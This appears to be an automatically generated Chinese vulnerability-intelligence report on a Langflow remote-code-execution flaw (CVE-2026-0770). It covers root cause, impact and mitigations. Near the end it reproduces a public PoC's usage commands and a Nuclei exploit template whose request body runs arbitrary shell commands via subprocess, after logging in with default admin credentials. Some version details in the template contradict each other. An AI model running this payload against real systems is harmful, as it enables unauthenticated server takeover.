🎯 CVE-2026-0770 深度技术分析:漏洞根因 · PoC/EXP · 检测指纹

🎯 CVE 全聚合深度分析

CVE-2026-0770 深度技术分析

📊 聚合 4 来源🧪 含 PoC🕵️ 含指纹
NVD-LatestCISA-KEVPoC-in-GitHubExploit-DB-RSS

摘要:2026年2月,Langflow 被披露存在一个 CVSS 9.8 的严重远程代码执行漏洞(CVE-2026-0770,ZDI-CAN-27325)。该漏洞位于 /api/v1/validate/code 端点的 exec_globals 参数处理逻辑中,属于 CWE-829“从不可信控制范围包含功能”。由于无需任何身份验证即可被远程利用,攻击者可在目标服务器上以 root 权限执行任意代码,实现完全接管。该漏洞已被 CISA KEV 收录,表明已出现在野利用迹象。本文从漏洞根因、利用原理、影响范围与修复缓解措施四个维度进行深度技术分析。

📌 漏洞概述

CVE-2026-0770(ZDI-CAN-27325)是影响 Langflow 的一个严重远程代码执行漏洞。Langflow 是一个流行的开源 LLM 应用构建框架,允许开发者通过可视化拖拽方式编排大语言模型工作流。NVD 给出的 CVSS v3.1 评分为 9.8(Critical),攻击复杂度低,无需任何权限且无需用户交互即可远程利用。

根据官方公告与 ZDI 分析,该漏洞存在于 Langflow 的 validate 端点的 exec_globals 参数处理过程中。该参数被设计用于在代码验证阶段传递“全局执行环境”,但 Langflow 未能正确限制其可信边界,导致攻击者可注入任意 Python 对象或恶意可调用对象。当服务器对用户提供的代码片段进行沙箱验证时,这些来自不可信控制面的对象会被加载并执行,从而造成任意代码执行。CISA KEV 已将该漏洞列入“已知被利用漏洞”目录,表明其已被真实攻击者用于入侵活动。

🔬 漏洞根因分析

该漏洞的本质是不可信数据被用作 Python 执行环境的全局变量,属于典型的“Inclusion of Functionality from Untrusted Control Sphere”(CWE-829)。Langflow 的 /validate 端点用于在用户提交工作流代码时进行静态/动态校验,其内部实现大致会构造一个受限的 Python 执行环境,例如使用 exec()eval() 并配合自定义的 globals 字典来限制可用函数与模块。但问题在于,该端点在接收 exec_globals 参数时,直接将其作为执行上下文的 真正全局字典 使用,而没有进行任何白名单、黑名单或对象类型过滤。

攻击者可以在 HTTP 请求中构造一个精心设计的 JSON 负载,将 exec_globals 设置为包含恶意 Python 对象的字典。由于 Python 的 exec() 函数在执行代码片段时会从全局字典中查找符号,攻击者可以预先在该字典中注入类似 "__builtins__" 的恶意覆盖项,或者直接放置一个具有危险 __reduce__ 方法的对象(例如 os.system)、一个自定义的代码对象、甚至一个包含 __import__("os").popen("id").read() 的 lambda 表达式。当验证进程尝试执行用户提交的“测试代码”时,攻击者注入的恶意全局变量会被自动加载并参与执行流程,从而逃逸任何沙箱限制。

从公开的 PoC(GitHub 仓库 Ez4rd1x1/CVE-2026-0770)可以看到,利用过程非常直接:攻击者首先向目标发送请求获取一个有效的会话令牌(在部分未启用认证的部署中甚至可完全匿名),然后向 /api/v1/validate/code 发送带有恶意 exec_globals 的 JSON 负载,最终在 HTTP 响应中回显命令执行结果。PoC 中演示了通过该漏洞执行 cat /etc/passwd 并获得 200 响应,证明漏洞利用的确定性极高。关键根因在于exec_globals 的完整性缺乏校验——Langflow 没有区分“可信内部全局变量”与“用户可控的任意 Python 对象”,就将其合并进执行上下文。

进一步分析,该漏洞不只是简单的字符串拼接注入,而是对象级别注入。由于 Python 的动态特性,攻击者可以直接传递一个由序列化库(如 pickle)构造的任意对象,或者通过 JSON 的嵌套结构构造出能被反序列化为 Python 对象的特殊键值。更有甚者,exec_globals 中允许包含 "__builtins__" 键,攻击者可将其设置为标准的 builtins 模块的替代品或直接移除,从而在不需要绕过沙箱的情况下直接获得完整的 Python 内建能力。即便开发者在执行前后尝试清理,也无法有效抵御这种“混淆了数据面与控制面”的设计缺陷。

💥 影响与危害

CVE-2026-0770 的利用后果是灾难性的,因为它允许未经身份验证的远程攻击者在 Langflow 服务进程中以 root 权限执行任意系统命令。这意味着攻击者可以:

  • 完全控制服务器:执行任意 shell 命令,读写任何文件(包括 /etc/shadow、敏感配置、数据库凭据),安装后门、rootkit 或植入持久化持久化机制。
  • 横向渗透:Langflow 通常部署于企业内部网络或云环境中,被攻破后可作为跳板攻击其他内部系统,扩大攻击面。
  • 数据窃取与破坏:访问 Langflow 托管的 LLM 应用数据、私有知识库、API 密钥(如 OpenAI Key)、业务数据库等,造成严重的数据泄露。
  • 供应链与生产中断:Langflow 常用于构建生产级 AI 工作流,攻击者可以篡改模型调用逻辑、替换输出内容、植入恶意提示词,从而影响依赖该平台的所有下游业务。
  • 被纳入僵尸网络或挖矿:由于利用难度低且权限高,该漏洞很可能被批量扫描利用,用于部署加密货币挖矿程序或 DDoS 代理工具。

由于 CISA 已将其列入 KEV,且 PoC 已在 GitHub 公开,攻击者只需复制现成代码即可发起攻击。实际部署中,许多 Langflow 实例为了便于 Web 端使用,默认监听了 0.0.0.0(PoC 中目标端口为 7860),进一步加剧了互联网暴露面的风险。漏洞影响范围涵盖所有未安装补丁的 Langflow 版本,无论是以源码运行、Docker 部署,还是作为云服务组件。

🛡️ 修复与缓解

针对 CVE-2026-0770,安全团队应立即采取以下措施降低风险:

  • 升级到已修复版本:Langflow 官方已在后续版本中修复该漏洞。请立即查阅官方安全公告,将 Langflow 升级到补丁版本(发布时间点后的最新稳定版)。在升级前,应确认服务器上运行的具体版本号,并对照公告确认是否受影响。
  • 限制网络暴露:切勿将 Langflow 的默认端口(如 7860)直接暴露在公网。使用反向代理时,应通过防火墙规则、安全组或 VPN 限制访问来源 IP,仅允许可信管理网段访问管理端点和 /validate 接口。
  • 增加身份认证:即使 Langflow 本身支持认证,也应对 API 端点启用强制令牌校验。但需注意,CVE-2026-0770 无需认证即可利用,因此认证是横向减缓措施而非根治方案。
  • 部署 WAF 规则:在 Langflow 前置的 Web 应用防火墙中,添加针对 exec_globals 关键字的请求体检查规则,拦截包含 __builtins__os.systempopen 等敏感模式且指向 /api/v1/validate/code 的请求。但需警惕绕过,WAF 仅作为临时防护。
  • 最小权限运行:在确认无法立即修补的情况下,可将 Langflow 进程降权为非 root 用户(如 nobody)运行,并使用容器运行时的只读文件系统、Seccomp/AppArmor 限制系统调用,缩小漏洞利用的影响范围。
  • 审计与监控:检查现有日志中是否有针对 /api/v1/validate/code 的可疑请求,特别是包含异常 exec_globals 字段的 POST 请求。通过 SIEM 或实时日志监控快速发现扫描或利用行为,并对受感染系统进行取证分析。
  • 遵循 CISA 指导:按照 CISA BOD 26-04 要求,在截止日期前完成补丁安装;如使用云服务,需确认云厂商是否已修复该漏洞,并做好资产台账跟踪。

总之,CVE-2026-0770 是一个“低门槛、高权限、易利用”的严重漏洞,结合已公开的 PoC 与 KEV 威胁情报,所有使用 Langflow 的组织应将其视为最高优先级事件,立即完成版本升级与暴露面收敛,防止因漏洞导致关键基础设施被远程接管。

🧪 PoC 复现

从 GitHub 公开仓库抓取的实际 PoC 代码(仓库)。

📋 代码元数据语言md来源Ez4rd1x1/CVE-2026-0770针对性✅ 已验证与漏洞相关(代码含 CVE 引用)依赖见代码注释/README用法详见代码注释中的使用说明

# CVE-2026-0770: Langflow `exec_globals` Unauthenticated Remote Code Execution (PoC)

[![CVE Score: 9.8](https://img.shields.io/badge/CVSS%20v3.1-9.8%20CRITICAL-red)](https://nvd.nist.gov/vuln/detail/cve-2026-0770)
[![Python Version](https://img.shields.io/badge/python-3.10%20%7C%203.11-blue)](https://www.python.org)

**CVE-2026-0770** an unauthenticated Remote Code Execution (RCE) vulnerability affecting Langflow. 

The flaw stems from improper input validation within the handling of the `exec_globals` parameter provided to the `/validate` endpoint. By exploiting this,
an attacker can pass untrusted global environments during validation routines,achieving remote code execution under the context of the `root` user.

---

## [!] Disclaimer

>**WARNING:** This tool is intended solely for authorized security testing,educational purposes,and defensive research. Do not run it against targets you do not own or do not have explicit,
written permission to test. The author accepts no liability for misuse or damage caused by this script.

---

## Vulnerability Details

* **CVE ID:** CVE-2026-0770
* **Vulnerability Type:** Inclusion of Functionality from Untrusted Control Sphere (CWE-829) / Code Injection
* **Affected Software:** Langflow (versions prior to patch)
* **Impact:** Full System Compromise (RCE as `root`)
* **Privileges Required:** None (Unauthenticated)

---

## Output
```bash

======================================================================
           Langflow RCE Exploit - CVE-2026-0770 - Zardy1x1            
======================================================================
Target : http://192.168.1.9:7860
Command: cat /etc/passwd
======================================================================
[*] attempt login...
[+] auto-login successful!
[~] token acquired: eyJhbGciOiJIUzI1NiIs...
[*] target command: cat /etc/passwd
[~] payload contructed
[~] sending request to http://192.168.1.9:7860/api/v1/validate/code
[*] receive status code: 200

======================================================================
COMMAND OUTPUT
======================================================================
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
user:x:1000:0::/app/data:/bin/sh
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
messagebus:x:996:996:System Message Bus:/nonexistent:/usr/sbin/nologin
======================================================================

Status Code : 200
Response Size: 1244 bytes
```

## Install &
Usage

```bash
git clone https://github.com/Ez4rd1x1/CVE-2026-0770
cd CVE-2026-0770
python3 exp_v3.py -t http://target:port -c "cat /etc/passwd"

⚔️ EXP 利用代码

截至分析时,Exploit-DB 未收录该 CVE 的公开利用代码。可利用上述 PoC 进行验证,或关注 Exploit-DB 更新。

🕵️ 检测指纹

针对该 CVE 的自动化检测规则(可直接用于扫描与审计)。

🛡️ Nuclei 检测模板: CVE-2026-0770-detection.yaml

📋 代码元数据语言yaml来源rules/nuclei/CVE-2026-0770-detection.yaml针对性✅ 按 CVE 匹配依赖nuclei用法nuclei -t CVE-2026-0770-detection.yaml -u

id: CVE-2026-0770-detection

info:
  name: Langflow 1.3.0 - Remote Code Execution Detection
  author: diamorphine
  severity: critical
  description: |Langflow contains a remote code execution caused by inclusion of functionality from untrusted control sphere 
    in the exec_globals parameter at the validate endpoint,
letting remote attackers execute arbitrary code as root.
    This template detects if the target is running Langflow version <= 1.2.0.
  reference:
    - https://www.langflow.org/
  tags: langflow,rce,cve-detection

http:
  - method: GET
    path:
      - '{{BaseURL}}/api/v1/auto_login'
      - '{{BaseURL}}/login'
      - '{{BaseURL}}/'
    host-redirects: true
    max-redirects: 3
    matchers-condition: or
    matchers:
      - type: word
        words:
          - 'Langflow'
          - '"access_token"'
        condition: or
        part: body
      - type: status
        status:
          - 200
          - 401
        condition: or
    extractors:
      - type: regex
        part: body
        regex:
          - '<title>Langflow</title>'
          - 'Langflow'
        group: 1
    stop-at-first-match: true

🛡️ Nuclei 检测模板: CVE-2026-0770-exploit.yaml

📋 代码元数据语言yaml来源rules/nuclei/CVE-2026-0770-exploit.yaml针对性✅ 按 CVE 匹配依赖nuclei用法nuclei -t CVE-2026-0770-exploit.yaml -u

id: CVE-2026-0770-exploit

info:
  name: Langflow 1.3.0 - Remote Code Execution Exploit
  author: diamorphine
  severity: critical
  description: |Langflow contains a remote code execution caused by inclusion of functionality from untrusted control sphere 
    in the exec_globals parameter at the validate endpoint,
letting remote attackers execute arbitrary code as root.
  reference:
    - https://www.langflow.org/
  tags: langflow,rce,cve-exploit

variables:
  cmd: 'id'
  username: 'admin'
  password: 'admin'

http:
  - raw:
      - |GET /api/v1/auto_login HTTP/1.1
        Host: {{Hostname}}Content-Type: application/json

      - |POST /api/v1/login HTTP/1.1
        Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded

        username={{username}}&password={{password}}
cookie-reuse: true
    host-redirects: true
    max-redirects: 3
    matchers:
      - type: word
        words:
          - '"access_token"'
        condition: and
        part: body
    extractors:
      - type: json
        name: access_token
        part: body
        json:
          - '.access_token'

  - raw:
      - |POST /api/v1/validate/code HTTP/1.1
        Host: {{Hostname}}
Authorization: Bearer {{access_token}}Content-Type: application/json

        {"code":"\ndef exploit(\n    _=( lambda r: (_ for _ in ()).throw(Exception(f\"{r.stdout}{r.stderr}\")) )(\n        __import__('subprocess').run('{{cmd}}',shell=True,capture_output=True,text=True)\n    )\n):\n    pass\n"}
matchers:
      - type: word
        words:
          - 'function'
        part: body
    extractors:
      - type: regex
        name: output
        part: body
        regex:
          - '"errors":\["([^"]+)"\]'
        group: 1
    stop-at-first-match: true

🤖 本文由漏洞情报系统自动聚合生成 · 2026-08-13 11:07 · 数据源: NVD/GitHub-Advisory/OSV/CISA-KEV/Exploit-DB/PoC-in-GitHub + 检测规则库

[!] CONTACT_CHANNELS

如需商务合作、技术咨询或漏洞反馈,请通过以下离岸节点联系作者。

> PING_AUTHOR (@A1RedTeam)